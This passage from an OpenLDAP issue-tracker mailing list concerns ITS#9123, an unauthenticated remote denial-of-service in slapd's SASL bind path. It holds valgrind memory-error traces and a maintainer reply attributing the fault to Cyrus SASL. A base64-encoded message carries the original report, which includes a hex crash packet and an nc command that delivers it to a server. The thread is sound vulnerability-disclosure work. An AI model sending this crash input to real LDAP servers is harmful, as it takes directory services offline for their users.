ldap_int_thread_pool_wrapper (tpool.= c:1048) >> =3D=3D11019=3D=3D by 0x4DBE668: start_thread (pthread_create.c:479)= >> =3D=3D11019=3D=3D >> =3D=3D11019=3D=3D Invalid read of size 1 >> =3D=3D11019=3D=3D at 0x483DF54: strlen (in /usr/lib/x86_64-linux-gn= u/valgrind/vgpreload_memcheck-amd64-linux.so) >> =3D=3D11019=3D=3D by 0x4E53DE4: __vfprintf_internal (vfprintf-inter= nal.c:1688) >> =3D=3D11019=3D=3D by 0x4E67029: __vsnprintf_internal (vsnprintf.c:1= 14) >> =3D=3D11019=3D=3D by 0x3A1FFA: lutil_debug (debug.c:74) >> =3D=3D11019=3D=3D by 0x266FF3: slap_sasl_log (sasl.c:146) >> =3D=3D11019=3D=3D by 0x4B9B4CF: sasl_seterror (seterror.c:260) >> =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) >> =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) >> =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) >> =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) >> =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:1= 185) >> =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.c= :1342) >> =3D=3D11019=3D=3D Address 0x62032a8 is 0 bytes after a block of size = 600 alloc'd >> =3D=3D11019=3D=3D at 0x483CFAF: realloc (in /usr/lib/x86_64-linux-g= nu/valgrind/vgpreload_memcheck-amd64-linux.so) >> =3D=3D11019=3D=3D by 0x4B930A4: _buf_alloc (common.c:2186) >> =3D=3D11019=3D=3D by 0x4B93299: _sasl_add_string (common.c:196) >> =3D=3D11019=3D=3D by 0x4B9B2D4: sasl_seterror (seterror.c:187) >> =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) >> =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) >> =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) >> =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) >> =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:1= 185) >> =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.c= :1342) >> =3D=3D11019=3D=3D by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool.= c:1048) >> =3D=3D11019=3D=3D by 0x4DBE668: start_thread (pthread_create.c:479)= >> >> >> >> > --------------ms000905070707070901010503 Content-Type: application/pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIAGCSqGSIb3DQEHAqCAMIACAQExDzANBglghkgBZQMEAgEFADCABgkqhkiG9w0BBwEAAKCC C5owggVLMIIEM6ADAgECAhBcqlOYsUipXhgfVtj/CAUVMA0GCSqGSIb3DQEBCwUAMIGCMQsw CQYDVQQGEwJJVDEPMA0GA1UECAwGTWlsYW5vMQ8wDQYDVQQHDAZNaWxhbm8xIzAhBgNVBAoM GkFjdGFsaXMgUy5wLkEuLzAzMzU4NTIwOTY3MSwwKgYDVQQDDCNBY3RhbGlzIENsaWVudCBB dXRoZW50aWNhdGlvbiBDQSBHMTAeFw0xOTA1MjQwODA3MTdaFw0yMDA1MjQwODA3MTdaMBwx GjAYBgNVBAMMEXN0ZXBoYW5Ac3JsYWJzLmRlMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB CgKCAQEAmniYbaUHSdjBF3/m+2PVN14GEGxOSwHtd8WxH9mUXKEIW4XuImwNz8AoGfFOHc4D A1Tc/an6lONwAeBgj541N7aKSTxRphKnrJrpJarbUR2FM7u7Km7btUTBT9mm6OmympB+vWKa GkjQo2Gr3GRSfVDNLP/n70H8uthbgwPLuBfBt/dLHFrvYBpPtnH2EQqKc1SELSUPAuo9zaO/ ohwPb7Sss3vMOOtePGL0lcHjWCbdsstZ/DUzek9MQ6F+PkGYee3JSzvyXvrADheqUPHtYPd2 LPu6hZKbAGjoqRYHVbwITZIzu7QWB4YEXFCdMT6XIde5lvA0zR7hhb63HKUVewIDAQABo4IC IDCCAhwwDAYDVR0TAQH/BAIwADAfBgNVHSMEGDAWgBR+YPz4bKc9Pdeuk6F5Ao+zdCk79TBL BggrBgEFBQcBAQQ/MD0wOwYIKwYBBQUHMAKGL2h0dHA6Ly9jYWNlcnQuYWN0YWxpcy5pdC9j ZXJ0cy9hY3RhbGlzLWF1dGNsaWcxMBwGA1UdEQQVMBOBEXN0ZXBoYW5Ac3JsYWJzLmRlMEcG A1UdIARAMD4wPAYGK4EfARgBMDIwMAYIKwYBBQUHAgEWJGh0dHBzOi8vd3d3LmFjdGFsaXMu aXQvYXJlYS1kb3dubG9hZDAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwQwgegGA1Ud HwSB4DCB3TCBm6CBmKCBlYaBkmxkYXA6Ly9sZGFwMDUuYWN0YWxpcy5pdC9jbiUzZEFjdGFs aXMlMjBDbGllbnQlMjBBdXRoZW50aWNhdGlvbiUyMENBJTIwRzEsbyUzZEFjdGFsaXMlMjBT LnAuQS4vMDMzNTg1MjA5NjcsYyUzZElUP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q7Ymlu YXJ5MD2gO6A5hjdodHRwOi8vY3JsMDUuYWN0YWxpcy5pdC9SZXBvc2l0b3J5L0FVVEhDTC1H MS9nZXRMYXN0Q1JMMB0GA1UdDgQWBBSM25yar8W0HyQ52pQLvwam2PQI1zAOBgNVHQ8BAf8E BAMCBaAwDQYJKoZIhvcNAQELBQADggEBADvK449WtB/GFtNr0TNrTnaNbtSuPz5poGt7nyUb neGYazzxvjBPI0a0A+h/++rHcAuYrCNP+/M0PWU3Jv4IDf6YwHGRQdXN4f9xhCtmBnFtfQ22 9anlEBvLZv5uEQSzZ6qhvZkqnq9WQ/ofb9q2GGwPfKa+QM4T8QFv5ZmogdXriH3gf4gJ1fbW 7Ig33y+xYXr8W4lQ3haAShGzV/FleypHafb/3ptGWNq3+diGKPxNpyU1BMq904OPAEBMCa5i 8+8kYsT8ug+t2uSqboWrutgr/y4bYxBrY56cdfgnLBqoHPEBkg8ONHMgiULphoOelPbOjHD0 by5aiDvNToIkdX4wggZHMIIEL6ADAgECAggs1IrTsR4PiTANBgkqhkiG9w0BAQsFADBrMQsw CQYDVQQGEwJJVDEOMAwGA1UEBwwFTWlsYW4xIzAhBgNVBAoMGkFjdGFsaXMgUy5wLkEuLzAz MzU4NTIwOTY3MScwJQYDVQQDDB5BY3RhbGlzIEF1dGhlbnRpY2F0aW9uIFJvb3QgQ0EwHhcN MTUwNTE0MDcxNDE1WhcNMzAwNTE0MDcxNDE1WjCBgjELMAkGA1UEBhMCSVQxDzANBgNVBAgM Bk1pbGFubzEPMA0GA1UEBwwGTWlsYW5vMSMwIQYDVQQKDBpBY3RhbGlzIFMucC5BLi8wMzM1 ODUyMDk2NzEsMCoGA1UEAwwjQWN0YWxpcyBDbGllbnQgQXV0aGVudGljYXRpb24gQ0EgRzEw ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDA/MGJVtmI4vQEZb/NCTWrKCkw/gzK 9yerHBHuhj1d5PVsRLYMVzOVl96Iio0tqduTKpPHJ1dn6TGhL3TvWpaxnrNL6nFKpcuz5FO+ d0RpbHmF0dlwo1YbOHLkWI7gZm8aUUicUSJpj504SmONa9J5em9wOmdjDoz0Be4ejgmGMLc/ 84r//lAVefO1NriJTrpGku145OAK2JELBk0rHwQV6qp9Oli98Rvgf3UTuf5jrWObR3YTx8nb AZNpJLCNzydMjYCle6OhzO6RvaQerBoY/erlS551ZydFlzrldSEr9norfYq+tC40/fYX/kzG S8QOcmlSee32IwTG8TOffXMNAgMBAAGjggHVMIIB0TBBBggrBgEFBQcBAQQ1MDMwMQYIKwYB BQUHMAGGJWh0dHA6Ly9vY3NwMDUuYWN0YWxpcy5pdC9WQS9BVVRILVJPT1QwHQYDVR0OBBYE FH5g/Phspz09166ToXkCj7N0KTv1MA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUUtiI OsifeGbtifN7OHCUyQICNtAwRQYDVR0gBD4wPDA6BgRVHSAAMDIwMAYIKwYBBQUHAgEWJGh0 dHBzOi8vd3d3LmFjdGFsaXMuaXQvYXJlYS1kb3dubG9hZDCB4wYDVR0fBIHbMIHYMIGWoIGT oIGQhoGNbGRhcDovL2xkYXAwNS5hY3RhbGlzLml0L2NuJTNkQWN0YWxpcyUyMEF1dGhlbnRp Y2F0aW9uJTIwUm9vdCUyMENBLG8lM2RBY3RhbGlzJTIwUy5wLkEuJTJmMDMzNTg1MjA5Njcs YyUzZElUP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q7YmluYXJ5MD2gO6A5hjdodHRwOi8v Y3JsMDUuYWN0YWxpcy5pdC9SZXBvc2l0b3J5L0FVVEgtUk9PVC9nZXRMYXN0Q1JMMA4GA1Ud DwEB/wQEAwIBBjANBgkqhkiG9w0BAQsFAAOCAgEATZPO1SS+QRtKFlhzX2WJ8tl6PliMvMvE D+VbFmeywUukM/JJ/Myad3PcXTpLnWW3AN75uVPByl3NSXczZqUofds6vznmS71Gvq553Jr4 cZBRPQ6GoOjYrYIAT2cFx8A3GJ+N9PxfMKgLdy1/27HeiDVa4TxZNwtkqAIy41EGYm170LhS DTDeJeo/Orwq5FGhs0qp10+OTcSIr5AD4QUIKRrXE4uH/tw8ZMkw21rX/S7mguJdo4Ad4Au3 +ep5naRn6WLMryhO/iKflq8h/d6Vregvq+vClNxrtNnFNf3R7zTl1lA3ipFU909usGVa02jM ftJ0t4utyg3yXYRc7rX3QYAlh3KdNzYToTKstUZwMpRf3VWYJJGuoSmlntbTlNtZEuLr7A+M DOZOrZdKYp9qOruO5MqCSTDsUUkHKLFrQ11Jmix1BvdWQuobwQ5g5qZkuof6/u5rT66WDsU6 +IVt5nthH15E7zU7wULW4uC62XIYPb4YuOBCey+d4Oxs0BZ+SivL6qoDG9XNfk9JpCnaknnY BogfUw3WLb+B5FI/zdNEysWTC4gzMOFfEoVC+myk1zX29xOvLOO3A/jGrRY1LhhY9LhT72Zb 5TQKCeyDH18yIk1st+V/mpJvnePcAYeeMr+onM9rf3AVNctcHrjwXfDVB/1Ht5l5NEl8JBj9 8lQxggP2MIID8gIBATCBlzCBgjELMAkGA1UEBhMCSVQxDzANBgNVBAgMBk1pbGFubzEPMA0G A1UEBwwGTWlsYW5vMSMwIQYDVQQKDBpBY3RhbGlzIFMucC5BLi8wMzM1ODUyMDk2NzEsMCoG A1UEAwwjQWN0YWxpcyBDbGllbnQgQXV0aGVudGljYXRpb24gQ0EgRzECEFyqU5ixSKleGB9W 2P8IBRUwDQYJYIZIAWUDBAIBBQCgggIvMBgGCSqGSIb3DQEJAzELBgkqhkiG9w0BBwEwHAYJ KoZIhvcNAQkFMQ8XDTE5MTEyODE0NTcyOFowLwYJKoZIhvcNAQkEMSIEIHUgVVi6K2dKIEB0 tQPAbVjXtxS4Yclx3hZ+5dWLZu3HMGwGCSqGSIb3DQEJDzFfMF0wCwYJYIZIAWUDBAEqMAsG CWCGSAFlAwQBAjAKBggqhkiG9w0DBzAOBggqhkiG9w0DAgICAIAwDQYIKoZIhvcNAwICAUAw BwYFKw4DAgcwDQYIKoZIhvcNAwICASgwgagGCSsGAQQBgjcQBDGBmjCBlzCBgjELMAkGA1UE BhMCSVQxDzANBgNVBAgMBk1pbGFubzEPMA0GA1UEBwwGTWlsYW5vMSMwIQYDVQQKDBpBY3Rh bGlzIFMucC5BLi8wMzM1ODUyMDk2NzEsMCoGA1UEAwwjQWN0YWxpcyBDbGllbnQgQXV0aGVu dGljYXRpb24gQ0EgRzECEFyqU5ixSKleGB9W2P8IBRUwgaoGCyqGSIb3DQEJEAILMYGaoIGX MIGCMQswCQYDVQQGEwJJVDEPMA0GA1UECAwGTWlsYW5vMQ8wDQYDVQQHDAZNaWxhbm8xIzAh BgNVBAoMGkFjdGFsaXMgUy5wLkEuLzAzMzU4NTIwOTY3MSwwKgYDVQQDDCNBY3RhbGlzIENs aWVudCBBdXRoZW50aWNhdGlvbiBDQSBHMQIQXKpTmLFIqV4YH1bY/wgFFTANBgkqhkiG9w0B AQEFAASCAQAHG9hr/YziBS5vLwu+YsqEyjBAmDAXvDLJ2ZVf31HYOwRwSopLkP6E8/c21bae k9ibkGG/Co6pKyLnu3fbtzuZhRgYeLmQxtClssE/v5odKbOvd4nxSwcaZFQc+/J38IHvtXWb OExAhUG13SecR5Ovc8YIM+3kmY9ReEqqv8q6RV9sKk3dwIpkkoSsedBeD4YPjP62BqYC92TQ SXcN6BPiJqILJcCCkWPxAjjxdQVUylQW/3w5QGlmQRA1ovBXc93dijfAN+6QypO7PzWiCvXm xLVM4T4AbiZlQvhGA+beTYVrhrlLW3gqOCZeFIXBjnHTYAcJAiJ9jY66UywZMsVNAAAAAAAA --------------ms000905070707070901010503--

1 0

Re: (ITS#9123) Unauthenticated remote denial-of-service
by hyc＠symas.com 28 Nov '19

28 Nov '19

Resending with the non-printable chars omitted: Howard Chu wrote: > Thanks, but your trace clearly shows that this is a fault in Cyrus SASL, you should be reporting > this issue to them. > > valgrind confirms it as well: > > 5ddfddde do_bind: dn () SASL mech <garbage> > 5ddfddde ==> sasl_bind: dn="" mech=<garbage> > datalen=0 > ==11019== Thread 3: > ==11019== Invalid write of size 1 > ==11019== at 0x4B9B1DB: sasl_seterror (seterror.c:247) > ==11019== by 0x4B9A18D: sasl_server_start (server.c:1418) > ==11019== by 0x26B88B: slap_sasl_bind (sasl.c:1666) > ==11019== by 0x21E130: fe_op_bind (bind.c:279) > ==11019== by 0x21DCE1: do_bind (bind.c:205) > ==11019== by 0x1F35BA: connection_operation (connection.c:1185) > ==11019== by 0x1F3CE7: connection_read_thread (connection.c:1342) > ==11019== by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool.c:1048) > ==11019== by 0x4DBE668: start_thread (pthread_create.c:479) > ==11019== by 0x4EFA322: clone (clone.S:95) > ==11019== Address 0x62032a8 is 0 bytes after a block of size 600 alloc'd > ==11019== at 0x483CFAF: realloc (in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so) > ==11019== by 0x4B930A4: _buf_alloc (common.c:2186) > ==11019== by 0x4B93299: _sasl_add_string (common.c:196) > ==11019== by 0x4B9B2D4: sasl_seterror (seterror.c:187) > ==11019== by 0x4B9A18D: sasl_server_start (server.c:1418) > ==11019== by 0x26B88B: slap_sasl_bind (sasl.c:1666) > ==11019== by 0x21E130: fe_op_bind (bind.c:279) > ==11019== by 0x21DCE1: do_bind (bind.c:205) > ==11019== by 0x1F35BA: connection_operation (connection.c:1185) > ==11019== by 0x1F3CE7: connection_read_thread (connection.c:1342) > ==11019== by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool.c:1048) > ==11019== by 0x4DBE668: start_thread (pthread_create.c:479) > ==11019== > ==11019== Invalid read of size 1 > ==11019== at 0x483DF54: strlen (in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so) > ==11019== by 0x4E53DE4: __vfprintf_internal (vfprintf-internal.c:1688) > ==11019== by 0x4E67029: __vsnprintf_internal (vsnprintf.c:114) > ==11019== by 0x3A1FFA: lutil_debug (debug.c:74) > ==11019== by 0x266FF3: slap_sasl_log (sasl.c:146) > ==11019== by 0x4B9B4CF: sasl_seterror (seterror.c:260) > ==11019== by 0x4B9A18D: sasl_server_start (server.c:1418) > ==11019== by 0x26B88B: slap_sasl_bind (sasl.c:1666) > ==11019== by 0x21E130: fe_op_bind (bind.c:279) > ==11019== by 0x21DCE1: do_bind (bind.c:205) > ==11019== by 0x1F35BA: connection_operation (connection.c:1185) > ==11019== by 0x1F3CE7: connection_read_thread (connection.c:1342) > ==11019== Address 0x62032a8 is 0 bytes after a block of size 600 alloc'd > ==11019== at 0x483CFAF: realloc (in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so) > ==11019== by 0x4B930A4: _buf_alloc (common.c:2186) > ==11019== by 0x4B93299: _sasl_add_string (common.c:196) > ==11019== by 0x4B9B2D4: sasl_seterror (seterror.c:187) > ==11019== by 0x4B9A18D: sasl_server_start (server.c:1418) > ==11019== by 0x26B88B: slap_sasl_bind (sasl.c:1666) > ==11019== by 0x21E130: fe_op_bind (bind.c:279) > ==11019== by 0x21DCE1: do_bind (bind.c:205) > ==11019== by 0x1F35BA: connection_operation (connection.c:1185) > ==11019== by 0x1F3CE7: connection_read_thread (connection.c:1342) > ==11019== by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool.c:1048) > ==11019== by 0x4DBE668: start_thread (pthread_create.c:479) > > > > -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

1 0

Re: (ITS#9123) Unauthenticated remote denial-of-service
by hyc＠symas.com 28 Nov '19

28 Nov '19

c3RlcGhhbkBzcmxhYnMuZGUgd3JvdGU6DQo+IEZ1bGxfTmFtZTogU3RlcGhhbiBaZWlzYmVy Zw0KPiBWZXJzaW9uOiAyLjQuNDgNCj4gT1M6IEZlZG9yYSAzMSAoa2VybmVsIDUuMy4xMS0z MDAuZmMzMS54ODZfNjQpDQo+IFVSTDogDQo+IFN1Ym1pc3Npb24gZnJvbTogKE5VTEwpICg3 OC41NC42NS4xMzkpDQo+IA0KPiANCj4gRGVhciBvcGVubGRhcCB0ZWFtIOKAlA0KPiANCj4g IyBJc3N1ZSBkZXNjcmlwdGlvbg0KPiANCj4gVW5hdXRoZW50aWNhdGVkIHJlbW90ZSBkZW5p YWwtb2Ytc2VydmljZSB0aHJvdWdoIG1hbGZvcm1lZCBsZGFwIHBhY2tldA0KPiANCj4gIyBW ZXJzaW9uDQo+IA0KPiBvcGVubGRhcC0yLjQuNDgudGd6DQo+IA0KPiAjIEhvdyB0byByZXBy b2R1Y2UNCj4gDQo+ICMjIENvbXBpbGUNCj4gDQo+ICQgdGFyIHh6dmYgb3BlbmxkYXAtMi40 LjQ4LnRneg0KPiAkIGNkIG9wZW5sZGFwLTIuNC40OA0KPiAkIC4vY29uZmlndXJlIC0tcHJl Zml4PS90bXAvb3BlbmxkYXANCj4gJCBtYWtlIGRlcGVuZA0KPiAkIG1ha2UNCj4gJCBtYWtl IGluc3RhbGwNCj4gJCBjZCAvdG1wL29wZW5sZGFwDQo+IA0KPiAjIyBTdGFydCBzZXJ2ZXIN Cj4gDQo+ICQgLi9saWJleGVjL3NsYXBkIC1kIDEgLWggbGRhcDovLzEyNy4wLjAuMTo5MDkx DQo+IA0KPiAjIyBDcmVhdGUgUG9DIGNyYXNoIGZpbGUNCj4gDQo+ICQgZWNobyAtbiAiMzA4 NDAwMDAwNTRiMDIwMjAwZDc2MDg0MDAwMDA1NDEwMjAxMDMwNDAwYTM4NDAwMDAwNTAwYTM4 MjAzZTI2MTgyMDNkZTMwODIwM2RhYTAwMzAyMDEwNWExMTUxYjEzNTczMjRiMzMyZTU2NGQ0 ZTQ1NTQzMTJlNTY0ZDJlNDI0MTUzNDVhMjQ0MzA0MmEwMDMwMjAxMDJhMTNiMzAzOTFiMDQ2 YzY0NjE3MDFiMWM3NzM5ZGQzMzJkMzEzMDMxMmU3NzMyNmIzMzJlNzY2ZDZlNjU3NDMxMmU3 NjZkMmU2MjYxNzM2NTFiMTM3NzMyNmIzMzJlNzY2ZDZlNjVhMDAzMDIwMTE3YTEwMzAyMDEw OGEyODIwMzYyMDQ4MjAzNWVhMjM1YWFlYjRiOGRhZDJjYzFhNjdmNTRkYjAzMDM1MmNjMzQ4 NjRjOGNmM2I2NDNhMmQ3ZDMxMTFlMGFlYmUwZWVmOTcxMzBiNDUwNmNiZjI4YjAxYzZjMmJi NDlhZWRlZDA5Yjg2NDRlYzE0NmQyOTQwOWQ3MTgzODE4N2IxMzVhYTc3OWNhM2UzNWM3YjNk MDJjYzYwYzUzZDY1MTk5ZTA0YjEyY2RjOTgwZDA1Y2QxYjBhYmQ4Mzc5MWVjZWUyN2Q3OTU2 N2JmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZi ZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZi ZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZi ZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmZDBmYmQzYmZi ZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZi ZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZi ZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZi ZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZi ZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZi ZmJmYmZiZmJmYmZiDQo+ICBmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJm YmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJm YmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJm YmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJm YmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmYwMDAwMDAwMDAwMDAwMGZl YmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJm YmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJm YmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJm YmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJm YmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJm YmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJm YmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJm YmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmYmZiZmJmM2I1ZTVkMTc0M2Q2ODE3Nzc5 ZDlkM2VlZjk5MGVkZTE3OGY3MzczYTA0ZjM4MjE4MDlmODAwYWMyMDBjYTNiYzY3YjMyZTli MmEyYTM3NDVjZjY3YzkxOTQxYTFlYzJmZGY1MGFhN2EzYzJkYmM4MjE4MzFlOGZjYzRkMTUx ODQ5NzhhNjgwMTgwMWE3NmY1ODhiZmMxOTZlOTI0MzM4MjAxZmUzYjVlNWQxNzQzZDY4MTc3 NzlkOWQzZWVmOTkwZWQxNTFiMTM1NzMyNGIzMzJlNTY0ZDRlNDU1NDMxMmU1NjRkMmU0MjQx NTM0NWEyNDQzMDQyYTAwMzAyMDEwMmExM2IzMDM5MWIwNDZjNjQ2MTcwMWIxYzc3MzlkZDMz MmQzMTMwMzEyZTc3MzI2YjMzMmU3NjJkMzczNDMyMzczMjM4MzkzNzM3DQo+ICAzNjMzMzQz MjMwMzczOTM2MzczOTc2NmQ2ZTY1NzQzMTJlNzY2ZDJlNjI2MTczNjVhMzgyMDM3NDMwODIw MzcwYTAwMzAyMDExN2ExMDMwMjAxMDhhMjgyMDM2MjA0ODIwMzVlYTIzNWFhZWI0YjhkYWQy Y2MxYTY3ZjU0ZGIwMzAzNTJjYzM0ODY0YzhjMmQzNjMxMzAzMTM3MzAzMzM0MzEzNjMyMzcz MjM1MzEzODM5MzczM2IwMWM2YzJiYjQ5YWVkZWQwOWI4NjQ0ZWMxNDZkMjk0MDlkNzE4Mzgx ODdiMTM1YWE3NzljYTNlMzVjN2IzZDAyY2M2MGM1M2Q2NTE5OWUwNGIxMmNkYzk4MGQwNWNk MWIwYWJkODM3OTFlY2VlMjdkNzk1Njc5NTk0MDY0NDQyYmNiMWVjYjg2MzlhN2VmMTgyNTY2 NTY4MzU1N2JhZDQ4MzllMWE3YjNjYzViNzZmYzBhYzA5M2RjYzYyZGQzNDExNmU3ZjIwMmUz ODExOGM5NGM2ZWU0NjhhZTEzN2FhNmZjZTMwNzBjMDgxZGQzOTQxODg5ODg3YWFjMTdiN2I5 ZmFlNmIxYjQzMmY5N2E5MDVmZTA3NjVkZjU1OGQ3MzhiMmRlYmM0N2IxOWI1OWIxYzliNDU1 Y2MyOWI4OGViNjQ2MjBiODkyODcxNGU3NmIzMTBkMzZkZjdjMWJmYmRhM2ZiNGZiZGMxZmQ0 ZjM0YzkwMTgwMWE3NmY1ODhiZmMxOTZlOTI0MzM4MjAxZmUzYjVlNWQxNzQzZDY4MTc3Nzlk OWQzZWVmOTkwZWRlMTc4ZjczNzNhMDRmMzgyMTgwOWY4MDBhYzIwMGNhM2JjNjdiMzJlOWIy YTJhMzc0NWNmNjdjOTE5NDFhMWVjMmZkZjUwYWE3YTNjMmRiYzgyMTkzMWU4ZmNjNGQxNTE4 NDk3OGE2ODAxODAxYTc2ZjU4OGJmYzE5NmU5MjQzMzgyMDFmZTNiNWU1ZDE3NDNkNjgxNzc3 OWQ5ZDNlZWY5OTBlZGUxIg0KPiB8IHh4ZCAtciAtcCA+IGxkYXAuY3Jhc2gNCj4gDQo+ICMj IEV4ZWN1dGUgUG9DIChtYXkgbmVlZCB0byBiZSBleGVjdXRlZCBtdWx0aXBsZSB0aW1lcykN Cj4gDQo+ICQgIG5jIDEyNy4wLjAuMSA5MDkxIDwgbGRhcC5jcmFzaA0KPiANCj4gDQo+IA0K PiAjIEdEQg0KPiANCj4gLi4uDQo+IHNsYXBkOiBtYWxsb2MuYzoyMzc5OiBzeXNtYWxsb2M6 IEFzc2VydGlvbiBgKG9sZF90b3AgPT0gaW5pdGlhbF90b3AgKGF2KSAmJg0KPiBvbGRfc2l6 ZSA9PSAwKSB8fCAoKHVuc2lnbmVkIGxvbmcpIChvbGRfc2l6ZSkgPj0gTUlOU0laRSAmJiBw cmV2X2ludXNlIChvbGRfdG9wKQ0KPiAmJiAoKHVuc2lnbmVkIGxvbmcpIG9sZF9lbmQgJiAo cGFnZXNpemUgLSAxKSkgPT0gMCknIGZhaWxlZC4NCj4gDQo+IFRocmVhZCAzICJzbGFwZCIg cmVjZWl2ZWQgc2lnbmFsIFNJR0FCUlQsIEFib3J0ZWQuDQo+IFtTd2l0Y2hpbmcgdG8gVGhy ZWFkIDB4N2ZmZmI0YWJhNzAwIChMV1AgMzY4NDUxMCldDQo+IDB4MDAwMDdmZmZmNWIzYTYy NSBpbiByYWlzZSAoKSBmcm9tIC9saWI2NC9saWJjLnNvLjYNCj4gTWlzc2luZyBzZXBhcmF0 ZSBkZWJ1Z2luZm9zLCB1c2U6IGRuZiBkZWJ1Z2luZm8taW5zdGFsbA0KPiBjeXJ1cy1zYXNs LWdzc2FwaS0yLjEuMjctMi5mYzMxLng4Nl82NCBjeXJ1cy1zYXNsLWxpYi0yLjEuMjctMi5m YzMxLng4Nl82NA0KPiBjeXJ1cy1zYXNsLXBsYWluLTIuMS4yNy0yLmZjMzEueDg2XzY0IGtl eXV0aWxzLWxpYnMtMS42LTMuZmMzMS54ODZfNjQNCj4ga3JiNS1saWJzLTEuMTctNDUuZmMz MS54ODZfNjQgbA0KPiBpYmNvbV9lcnItMS40NS4zLTEuZmMzMS54ODZfNjQgbGliZGItNS4z LjI4LTM4LmZjMzEueDg2XzY0DQo+IGxpYmdjYy05LjIuMS0xLmZjMzEueDg2XzY0IGxpYmlj dS02My4yLTMuZmMzMS54ODZfNjQNCj4gbGlic2VsaW51eC0yLjktNS5mYzMxLng4Nl82NCBs aWJzdGRjKystOS4yLjEtMS5mYzMxLng4Nl82NA0KPiBsaWJ1dWlkLTIuMzQtMy5mYzMxLng4 Nl82NCBuc3MtbWRucy0wLjE0LjEtNC5mYzMxLng4Nl82NCBvcGVuDQo+IHNzbC1saWJzLTEu MS4xZC0yLmZjMzEueDg2XzY0IHpsaWItMS4yLjExLTIwLmZjMzEueDg2XzY0DQo+IChnZGIp IGJ0DQo+ICMwICAweDAwMDA3ZmZmZjViM2E2MjUgaW4gcmFpc2UgKCkgZnJvbSAvbGliNjQv bGliYy5zby42DQo+ICMxICAweDAwMDA3ZmZmZjViMjM4ZDkgaW4gYWJvcnQgKCkgZnJvbSAv bGliNjQvbGliYy5zby42DQo+ICMyICAweDAwMDA3ZmZmZjViODVhN2EgaW4gX19tYWxsb2Nf 